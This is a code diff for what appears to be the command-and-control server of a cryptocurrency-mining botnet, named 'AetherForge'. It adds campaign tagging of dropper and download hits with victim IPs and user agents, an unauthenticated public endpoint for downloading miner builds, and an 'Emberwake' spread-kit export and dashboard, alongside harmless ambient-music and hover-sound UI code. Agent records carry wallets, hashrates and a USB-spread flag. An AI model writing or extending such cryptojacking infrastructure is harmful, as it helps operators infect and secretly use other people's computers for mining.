+	if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	if err := h.db.SetBuildPublic(id, body.Public); err != nil {
+		http.Error(w, err.Error(), http.StatusInternalServerError)
+		return
+	}
+	writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
+}
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
 	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
 }

+func coalesceStr(vals ...string) string {
+	for _, v := range vals {
+		if strings.TrimSpace(v) != "" {
+			return strings.TrimSpace(v)
+		}
+	}
+	return ""
+}
+
 // checkDashboardWSToken validates dashboard WS upgrade credentials.
 // Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
 // Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			MacAddress       string `json:"mac_address,omitempty"`
 			BuildID          string `json:"build_id"`
 			USBSpread        bool   `json:"usb_spread"`
+			Campaign         string `json:"campaign"`
+			UTM              string `json:"utm"`
 		}
 			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
 				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				BuildID:      auth.BuildID,
 				WorkerName:   workerName,
 				USBSpread:    auth.USBSpread,
+				Campaign:     coalesceStr(auth.Campaign, auth.UTM),
 				Capabilities: &caps,
 			}

@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
 		Payload: mustMarshal(map[string]string{"line": line}),
 	})
 }
+
+// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
+func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
+	h.broadcastDashboard(Message{
+		Type:    "emberwake_notes_updated",
+		Payload: mustMarshal(notes),
+	})
+}
--- a/server/internal/db/agent_meta.go
+++ b/server/internal/db/agent_meta.go
@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
 		&a.SharesTotal, &a.SharesGood, &a.SharesBad,
 		&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
 		&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
-		&a.BuildID, &a.WorkerName, &usbSpread,
+		&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
 		&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
 	)
 	if err != nil {
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
 const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
 		hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
 		cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
-		build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
+		build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`

 func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
 	_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
--- a/server/internal/db/campaign.go
+++ b/server/internal/db/campaign.go
@@ -0,0 +1,175 @@
+package db
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"crypto-miner-server/internal/models"
+)
+
+// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
+func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
+	campaign = sanitizeCampaign(campaign)
+	if campaign == "" {
+		return nil
+	}
+	_, err := d.Exec(
+		`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
+		campaign, buildID, source, ip, userAgent, time.Now(),
+	)
+	return err
+}
+
+func sanitizeCampaign(c string) string {
+	c = strings.TrimSpace(c)
+	if len(c) > 64 {
+		c = c[:64]
+	}
+	// Allow alphanumeric, dash, underscore, dot
+	var b strings.Builder
+	for _, r := range c {
+		if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
+			b.WriteRune(r)
+		}
+	}
+	return b.String()
+}
+
+// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
+type CampaignHitSummary struct {
+	Campaign string `json:"campaign"`
+	Count    int    `json:"count"`
+	LastHit  string `json:"last_hit"`
+}
+
+func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
+	if limit <= 0 || limit > 500 {
+		limit = 100
+	}
+	rows, err := d.Query(`
+		SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
+		FROM campaign_hits
+		GROUP BY campaign
+		ORDER BY cnt DESC
+		LIMIT ?`, limit)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	var out []CampaignHitSummary
+	for rows.Next() {
+		var s CampaignHitSummary
+		var lastRaw string
+		if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
+			return nil, err
+		}
+		if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
+			s.LastHit = t.Format(time.RFC3339)
+		} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
+			s.LastHit = t.Format(time.RFC3339)
+		} else {
+			s.LastHit = lastRaw
+		}
+		out = append(out, s)
+	}
+	return out, nil
+}
+
+// ListPublicBuilds returns builds eligible for unauthenticated download.
+// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
+func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
+	if allEnabled {
+		return d.ListBuilds(50)
+	}
+	if latestN <= 0 {
+		latestN = 3
+	}
+
+	seen := map[string]bool{}
+	var out []*models.BuildRecord
+
+	add := func(b *models.BuildRecord) {
+		if b == nil || seen[b.ID] {
+			return
+		}
+		seen[b.ID] = true
+		out = append(out, b)
+	}
+
+	// Pinned builds
+	pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
+	if err == nil {
+		defer pinnedRows.Close()
+		for pinnedRows.Next() {
+			b, err := scanBuild(pinnedRows)
+			if err == nil {
+				add(b)
+			}
+		}
+	}
+
+	// Operator-marked public
+	publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
+	if err == nil {
+		defer publicRows.Close()
+		for publicRows.Next() {
+			b, err := scanBuild(publicRows)
+			if err == nil {
+				add(b)
+			}
+		}
+	}
+
+	// Latest N by created_at
+	latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
+	if err == nil {
+		defer latestRows.Close()
+		for latestRows.Next() {
+			b, err := scanBuild(latestRows)
+			if err == nil {
+				add(b)
+			}
+		}
+	}
+
+	if out == nil {
+		out = []*models.BuildRecord{}
+	}
+	return out, nil
+}
+
+// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
+func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
+	if allEnabled {
+		_, err := d.GetBuild(id)
+		return err == nil, err
+	}
+	builds, err := d.ListPublicBuilds(false, latestN)
+	if err != nil {
+		return false, err
+	}
+	for _, b := range builds {
+		if b.ID == id {
+			return true, nil
+		}
+	}
+	return false, nil
+}
+
+// SetBuildPublic toggles the operator public flag on a build.
+func (d *Database) SetBuildPublic(id string, public bool) error {
+	val := 0
+	if public {
+		val = 1
+	}
+	res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
+	if err != nil {
+		return err
+	}
+	n, _ := res.RowsAffected()
+	if n == 0 {
+		return fmt.Errorf("build not found: %s", id)
+	}
+	return nil
+}
--- a/server/internal/db/campaign_test.go
+++ b/server/internal/db/campaign_test.go
@@ -0,0 +1,50 @@
+package db
+
+import (
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/models"
+)
+
+func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
+	d := openTestDB(t)
+	defer d.Close()
+
+	if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
+		t.Fatal(err)
+	}
+	hits, err := d.ListCampaignHits(10)
+	if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
+		t.Fatalf("hits=%v err=%v", hits, err)
+	}
+
+	b1 := &models.BuildRecord{
+		ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
+		Threads: 1, Platform: "linux", CreatedAt: time.Now(),
+	}
+	b2 := &models.BuildRecord{
+		ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
+		Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
+	}
+	_ = d.InsertBuild(b1)
+	_ = d.InsertBuild(b2)
+	_ = d.SetBuildPublic("b1", true)
+
+	pub, err := d.ListPublicBuilds(false, 1)
+	if err != nil {
+		t.Fatal(err)
+	}
+	ids := map[string]bool{}
+	for _, b := range pub {
+		ids[b.ID] = true
+	}
+	if !ids["b1"] || !ids["b2"] {
+		t.Fatalf("expected public b1 and latest b2, got %v", ids)
+	}
+
+	ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
+	if err != nil || !ok {
+		t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
+	}
+}
--- a/server/internal/db/sqlite.go
+++ b/server/internal/db/sqlite.go
@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
 	_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
 	_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
 	_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
+	_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
+	_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)

 	extraMigrations := []string{
 		`CREATE TABLE IF NOT EXISTS audit_log (
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
 			last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
 			PRIMARY KEY (agent_id, task_id)
 		)`,
+		`CREATE TABLE IF NOT EXISTS campaign_hits (
+			id INTEGER PRIMARY KEY AUTOINCREMENT,
+			campaign TEXT NOT NULL DEFAULT '',
+			build_id TEXT NOT NULL DEFAULT '',
+			source TEXT NOT NULL DEFAULT '',
+			ip TEXT NOT NULL DEFAULT '',
+			user_agent TEXT NOT NULL DEFAULT '',
+			created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
+		)`,
+		`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
+		`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
 	}
 	for _, m := range extraMigrations {
 		if _, err := d.Exec(m); err != nil {
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
 // Agent operations

 func (d *Database) UpsertAgent(a *models.Agent) error {
-	query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
-		VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
+	query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
+		VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
 		ON CONFLICT(id) DO UPDATE SET
 			name = excluded.name,
 			wallet = excluded.wallet,
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
 			mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
 			build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
 			worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
-			usb_spread = excluded.usb_spread`
+			usb_spread = excluded.usb_spread,
+			campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
 	usb := 0
 	if a.USBSpread {
 		usb = 1
 	}
-	_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
+	_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
 	return err
 }

@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash

 // Build operations

-const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
+const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`

 func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
 	if len(files) == 0 {
@@ -393,11 +407,12 @@ func scanBuild(row interface {
 	Scan(...any) error
 }) (*models.BuildRecord, error) {
 	b := &models.BuildRecord{}
-	var pinnedInt int
+	var pinnedInt, publicInt int
 	var extraFilesRaw string
 	err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
-		&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
+		&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
 	b.Pinned = pinnedInt == 1
+	b.Public = publicInt == 1
 	b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
 	return b, err
 }
--- a/server/internal/models/agent.go
+++ b/server/internal/models/agent.go
@@ -37,6 +37,7 @@ type Agent struct {
 	BuildID    string `json:"build_id,omitempty"`
 	WorkerName string `json:"worker_name,omitempty"`
 	USBSpread  bool   `json:"usb_spread,omitempty"`
+	Campaign   string `json:"campaign,omitempty"`

 	// Live connection quality — not persisted, set by WSHub each stats cycle.
 	LatencyMs *int `json:"latency_ms,omitempty"`
@@ -159,6 +160,7 @@ type BuildRecord struct {
 	Platform    string           `json:"platform"` // "windows", "linux", "darwin", "universal"
 	CreatedAt   time.Time `json:"created_at"`
 	Pinned      bool      `json:"pinned"` // true = this build is served by /get and /install.*
+	Public      bool      `json:"public"` // true = listed on unauthenticated public builds API
 	// Pool settings
 	PoolHost string `json:"pool_host"`
 	PoolPort int    `json:"pool_port"`
--- a/server/main.go
+++ b/server/main.go
@@ -264,6 +264,16 @@ func main() {
 		return configProvider.PublicURL()
 	})

+	publicBuildsCfg := func() api.PublicBuildsConfig {
+		n := cfg.Server.PublicBuildsLatestN
+		if n <= 0 {
+			n = 3
+		}
+		return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n}
+	}
+	publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
+	spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
+
 	// Path Forge: server-side recursive file seeding
 	pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)

@@ -275,7 +285,7 @@ func main() {
 	log.Printf("Web root: %s", webRoot)

 	// Initialize router
-	router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
+	router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
 		return configProvider.PublicURL()
 	}, cfg.Port)
 	log.Println("Router initialized")
--- a/server/web/public/audio/.gitkeep
+++ b/server/web/public/audio/.gitkeep
@@ -0,0 +1,2 @@
+# Drop your looping ambient track here as ambient.mp3 (MP3 preferred; OGG/WAV also work).
+# Enable background music in Settings → Sound & Haptics after adding the file.
--- a/server/web/public/audio/ambient.mp3
+++ b/server/web/public/audio/ambient.mp3
--- a/server/web/src/App.tsx
+++ b/server/web/src/App.tsx
@@ -4,10 +4,12 @@ import SessionGate from './components/SessionGate';
 import Layout from './components/Layout/Layout';
 import { WebSocketProvider } from './context/WebSocketProvider';
 import { SoundProvider } from './context/SoundContext';
+import { AmbientMusicProvider } from './context/AmbientMusicContext';
 import { VisualEffectsProvider } from './context/VisualEffectsContext';
 import { ForgeProvider } from './context/ForgeContext';
 import { MatrixRainProvider } from './context/MatrixRainContext';
 import SoundBridge from './components/Sound/SoundBridge';
+import GlobalMusicPlayer from './components/GlobalMusicPlayer';

 const DashboardPage = lazy(() => import('./pages/DashboardPage'));
 const AgentsPage = lazy(() => import('./pages/AgentsPage'));
@@ -17,6 +19,7 @@ const SettingsPage = lazy(() => import('./pages/SettingsPage'));
 const GuidePage = lazy(() => import('./pages/GuidePage'));
 const CruciblePage = lazy(() => import('./pages/CruciblePage'));
 const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
+const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));

 export function PageFallback() {
  return (
@@ -32,8 +35,10 @@ function App() {
    // No page or component should call new WebSocket() directly — use useWebSocket().
    <WebSocketProvider>
      <SoundProvider>
+      <AmbientMusicProvider>
      <VisualEffectsProvider>
      <SoundBridge />
+      <GlobalMusicPlayer />
      <ForgeProvider>
      <MatrixRainProvider>
      <SessionGate>
@@ -47,6 +52,8 @@ function App() {
            <Route path="/builder" element={<Navigate to="/forge" replace />} />
            <Route path="/crucible" element={<CruciblePage />} />
            <Route path="/builds" element={<BuildManagerPage />} />
+            <Route path="/emberwake" element={<EmberwakePage />} />
+            <Route path="/spread" element={<Navigate to="/emberwake" replace />} />
            <Route path="/guide" element={<GuidePage />} />
            <Route path="/settings" element={<SettingsPage />} />
            <Route path="/pathtracer" element={<PathTracerPage />} />
@@ -57,6 +64,7 @@ function App() {
      </MatrixRainProvider>
      </ForgeProvider>
      </VisualEffectsProvider>
+      </AmbientMusicProvider>
      </SoundProvider>
    </WebSocketProvider>
  );
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -1,4 +1,4 @@
-import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
+import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
 import { authHeaders, clearStoredAuth } from './auth';
 import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';

@@ -186,6 +186,11 @@ export const api = {
    fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
  deleteBuild: (buildId: string) =>
    fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
+  setBuildPublic: (buildId: string, isPublic: boolean) =>
+    fetchJSON<{ ok: boolean; id: string; public: boolean }>(`/builds/${buildId}/public`, {
+      method: 'PUT',
+      body: JSON.stringify({ public: isPublic }),
+    }),

  buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
  buildArtifactUrl: (buildId: string, fileName: string) =>
@@ -297,6 +302,40 @@ export const api = {
    fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
  getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),

+  // Public builds (unauthenticated — used on login page)
+  listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
+    const res = await fetch(`${API_BASE}/public/builds`);
+    if (!res.ok) throw new Error(`Public builds ${res.status}`);
+    return res.json();
+  },
+
+  // Emberwake
+  getEmberwakeNotes: () => fetchJSON<EmberwakeNotes>('/emberwake/notes'),
+  putEmberwakeNotes: (content: string) =>
+    fetchJSON<EmberwakeNotes>('/emberwake/notes', {
+      method: 'PUT',
+      body: JSON.stringify({ content }),
+    }),
+  listCampaignHits: () =>
+    fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
+
+  exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
+    const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json', ...authHeaders() },
+      body: JSON.stringify(req),
+    });
+    if (res.status === 401) clearStoredAuth({ expired: true });
+    if (!res.ok) throw new Error(await res.text());
+    const blob = await res.blob();
+    const url = URL.createObjectURL(blob);
+    const a = document.createElement('a');
+    a.href = url;
+    a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
+    a.click();
+    URL.revokeObjectURL(url);
+  },
+
  // Path Tracer — WireGuard VPN chain sessions
  startTrace: (agentIds: string[]) =>
    fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
--- a/server/web/src/audio/ambientMusic.test.ts
+++ b/server/web/src/audio/ambientMusic.test.ts
@@ -0,0 +1,43 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, it, expect, beforeEach } from 'vitest';
+import {
+  AmbientMusicPlayer,
+  loadBgmEnabled,
+  loadBgmVolume,
+  BGM_STORAGE_KEY,
+  BGM_VOLUME_KEY,
+  AMBIENT_MUSIC_SRC,
+} from './ambientMusic';
+
+describe('ambientMusic prefs', () => {
+  beforeEach(() => {
+    localStorage.clear();
+  });
+
+  it('defaults music off and volume ~0.22', () => {
+    expect(loadBgmEnabled()).toBe(false);
+    expect(loadBgmVolume()).toBeCloseTo(0.22);
+  });
+
+  it('persists enabled flag', () => {
+    const p = new AmbientMusicPlayer();
+    p.setEnabled(true);
+    expect(localStorage.getItem(BGM_STORAGE_KEY)).toBe('1');
+    expect(loadBgmEnabled()).toBe(true);
+  });
+
+  it('clamps volume', () => {
+    const p = new AmbientMusicPlayer();
+    p.setVolume(3);
+    expect(p.getVolume()).toBe(1);
+    p.setVolume(-2);
+    expect(p.getVolume()).toBe(0);
+    expect(localStorage.getItem(BGM_VOLUME_KEY)).toBe('0');
+  });
+
+  it('points at public audio path', () => {
+    expect(AMBIENT_MUSIC_SRC).toBe('/audio/ambient.mp3');
+  });
+});
--- a/server/web/src/audio/ambientMusic.ts
+++ b/server/web/src/audio/ambientMusic.ts
@@ -0,0 +1,152 @@
+/**
+ * Looping background music — drop your MP3 at public/audio/ambient.mp3
+ * (MP3 preferred; OGG/WAV also work if you update AMBIENT_MUSIC_SRC).
+ */
+export const BGM_STORAGE_KEY = 'aetherforge-bgm';
+export const BGM_VOLUME_KEY = 'aetherforge-bgm-volume';
+/** Served from Vite public/ — place ambient.mp3 here before enabling in Settings. */
+export const AMBIENT_MUSIC_SRC = '/audio/ambient.mp3';
+
+export function loadBgmEnabled(): boolean {
+  try {
+    const v = localStorage.getItem(BGM_STORAGE_KEY);
+    return v === '1';
+  } catch {
+    return false;
+  }
+}
+
+export function loadBgmVolume(): number {
+  try {
+    const v = localStorage.getItem(BGM_VOLUME_KEY);
+    if (v === null) return 0.22;
+    const n = parseFloat(v);
+    return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.22;
+  } catch {
+    return 0.22;
+  }
+}
+
+function persistBgmEnabled(enabled: boolean) {
+  try {
+    localStorage.setItem(BGM_STORAGE_KEY, enabled ? '1' : '0');
+  } catch {
+    /* ignore */
+  }
+}
+
+function persistBgmVolume(volume: number) {
+  try {
+    localStorage.setItem(BGM_VOLUME_KEY, String(volume));
+  } catch {
+    /* ignore */
+  }
+}
+
+export class AmbientMusicPlayer {
+  private audio: HTMLAudioElement | null = null;
+  private enabled = loadBgmEnabled();
+  private volume = loadBgmVolume();
+  private unlocked = false;
+  private playing = false;
+  private listeners = new Set<(playing: boolean) => void>();
+
+  isEnabled() {
+    return this.enabled;
+  }
+
+  isPlaying() {
+    return this.playing;
+  }
+
+  getVolume() {
+    return this.volume;
+  }
+
+  subscribe(fn: (playing: boolean) => void) {
+    this.listeners.add(fn);
+    return () => { this.listeners.delete(fn); };
+  }
+
+  private setPlaying(v: boolean) {
+    if (this.playing === v) return;
+    this.playing = v;
+    for (const fn of this.listeners) fn(v);
+  }
+
+  setEnabled(enabled: boolean) {
+    this.enabled = enabled;
+    persistBgmEnabled(enabled);
+    if (enabled) {
+      this.ensureAudio();
+      void this.tryPlay();
+    } else {
+      this.pause();
+    }
+  }
+
+  setVolume(volume: number) {
+    this.volume = Math.min(1, Math.max(0, volume));
+    persistBgmVolume(this.volume);
+    if (this.audio) this.audio.volume = this.volume;
+  }
+
+  /** Browsers block autoplay until a user gesture unlocks audio. */
+  unlock() {
+    if (this.unlocked) return;
+    this.unlocked = true;
+    this.ensureAudio();
+    if (this.enabled) void this.tryPlay();
+  }
+
+  togglePlay() {
+    if (this.playing) {
+      this.pause();
+      return false;
+    }
+    if (!this.enabled) {
+      this.setEnabled(true);
+    }
+    void this.tryPlay();
+    return true;
+  }
+
+  private ensureAudio() {
+    if (this.audio || typeof document === 'undefined') return;
+    const el = new Audio(AMBIENT_MUSIC_SRC);
+    el.loop = true;
+    el.preload = 'auto';
+    el.volume = this.volume;
+    el.addEventListener('play', () => this.setPlaying(true));
+    el.addEventListener('pause', () => this.setPlaying(false));
+    el.addEventListener('ended', () => this.setPlaying(false));
+    el.addEventListener('error', () => {
+      this.setPlaying(false);
+    });
+    this.audio = el;
+  }
+
+  private pause() {
+    if (!this.audio) return;
+    this.audio.pause();
+    this.setPlaying(false);
+  }
+
+  async tryPlay(): Promise<boolean> {
+    if (!this.enabled) return false;
+    this.ensureAudio();
+    if (!this.audio) return false;
+    this.audio.volume = this.volume;
+    try {
+      await this.audio.play();
+      this.setPlaying(true);
+      return true;
+    } catch {
+      this.setPlaying(false);
+      /* Autoplay policy — wait for Settings toggle or first click */
+      return false;
+    }
+  }
+}
+
+export const ambientMusicPlayer = new AmbientMusicPlayer();
--- a/server/web/src/audio/hoverSfx.test.ts
+++ b/server/web/src/audio/hoverSfx.test.ts
@@ -0,0 +1,48 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, it, expect, beforeEach } from 'vitest';
+import {
+  HoverSfxEngine,
+  loadHoverEnabled,
+  loadHoverVolume,
+  HOVER_SFX_STORAGE_KEY,
+  HOVER_SFX_VOLUME_KEY,
+} from './hoverSfx';
+
+describe('hoverSfx prefs', () => {
+  beforeEach(() => {
+    localStorage.clear();
+  });
+
+  it('defaults hover on and volume ~0.25', () => {
+    expect(loadHoverEnabled()).toBe(true);
+    expect(loadHoverVolume()).toBeCloseTo(0.25);
+  });
+
+  it('persists enabled flag', () => {
+    const e = new HoverSfxEngine();
+    e.setEnabled(false);
+    expect(localStorage.getItem(HOVER_SFX_STORAGE_KEY)).toBe('0');
+    expect(loadHoverEnabled()).toBe(false);
+  });
+
+  it('clamps volume', () => {
+    const e = new HoverSfxEngine();
+    e.setVolume(2);
+    expect(e.getVolume()).toBe(1);
+    e.setVolume(-1);
+    expect(e.getVolume()).toBe(0);
+    expect(localStorage.getItem(HOVER_SFX_VOLUME_KEY)).toBe('0');
+  });
+
+  it('debounces rapid play calls', () => {
+    const e = new HoverSfxEngine();
+    e.setDebounceMs(200);
+    e.setEnabled(true);
+    expect(() => {
+      e.play(true);
+      e.play(true);
+    }).not.toThrow();
+  });
+});
--- a/server/web/src/audio/hoverSfx.ts
+++ b/server/web/src/audio/hoverSfx.ts
@@ -0,0 +1,194 @@
+/** Short dubstep/techno hover blips — Web Audio, no asset files. */
+
+export const HOVER_SFX_STORAGE_KEY = 'aetherforge-hover-sfx';
+export const HOVER_SFX_VOLUME_KEY = 'aetherforge-hover-volume';
+
+export function loadHoverEnabled(): boolean {
+  try {
+    const v = localStorage.getItem(HOVER_SFX_STORAGE_KEY);
+    return v === null ? true : v === '1';
+  } catch {
+    return true;
+  }
+}
+
+export function loadHoverVolume(): number {
+  try {
+    const v = localStorage.getItem(HOVER_SFX_VOLUME_KEY);
+    if (v === null) return 0.25;
+    const n = parseFloat(v);
+    return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.25;
+  } catch {
+    return 0.25;
+  }
+}
+
